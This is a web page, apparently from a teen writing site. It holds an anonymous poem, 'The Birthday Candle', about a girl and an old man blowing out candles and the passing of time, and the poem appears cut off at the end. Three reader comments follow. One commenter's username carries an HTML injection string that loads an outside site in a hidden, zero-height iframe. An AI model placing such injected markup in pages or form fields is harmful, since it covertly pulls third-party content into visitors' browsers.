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The Birthday Candle MAG

By Anonymous

     The clock ticks as the flame burns,
melting down that column of wax -
a friendly cylinder
that plunges colored drips to their death,
corrupting the placid smoothness of a frosted cake.
That little tower -
fresh, pink, and candy-striped -
revels in its power as the young pony-tailed girl
and the wobbly old man
fill their lungs with air
and whisper a wish into the wick.
She claps with joy -
she is sixteen,
that much closer to
womanhood, to freedom, to life.
He drops his head and sighs,
that much closer to
wheelchairs, to Velcro shoes, to death.
It is quiet now -
the only sound comes from the hiss of an extinguished charcoaled stem
and the ticking, probing clock.
They constantly compete
to see who can measure best;
the clock devours minutes
as the candle claims years.
But the birthday candles
are always victorious
for they have one

© Anonymous

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This article has 3 comments.

Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe> said...
on Jan. 16 2018 at 10:19 pm
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe>, Op, Connecticut
0 articles 0 photos 12292 comments
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i love this so much!
varialette BRONZE said...
on Sep. 2 2014 at 10:55 am
varialette BRONZE, Hazel Park, Michigan
3 articles 0 photos 6 comments
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Very nice poem. I loved the contrast you created.
Alice28 GOLD said...
on Sep. 26 2009 at 4:45 pm
Alice28 GOLD, Somewhere Over The Rainbow, Oregon
13 articles 0 photos 26 comments

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Its hard to defeat someone...who never gives up.

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wow...this is really good. keep writting.